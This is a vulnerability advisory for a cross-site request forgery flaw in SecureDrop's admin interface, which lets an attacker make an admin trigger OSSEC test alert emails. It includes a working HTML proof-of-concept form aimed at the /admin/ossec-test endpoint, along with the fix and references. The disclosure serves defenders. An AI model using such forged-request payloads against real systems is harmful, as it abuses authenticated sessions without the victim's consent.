Synopsis
CSRF allows an unauthenticated attacker to forge application requests via crafted links or forms. An attacker could trick an admin into clicking a link that would then fire off a valid application request to send OSSEC test alert emails to themselves. An unauthenticated attacker can therefore trick an admin into sending such an alert.
Proof of Concept (PoC)
The following will send an OSSEC test alert if clicked on in a browser with an active admin session. Please note that the IP address would have to be changed to target the “victim” SecureDrop application.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://172.26.31.232:8081/admin/ossec-test">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Solution
Upgrade to SecureDrop 1.8.2.Additional References
https://github.com/freedomofpress/securedrop/pull/5947https://securedrop.org/news/security-advisory-cross-site-request-forgery-vulnerability-on-journalist-interface-test-alert-form/
Disclosure Timeline
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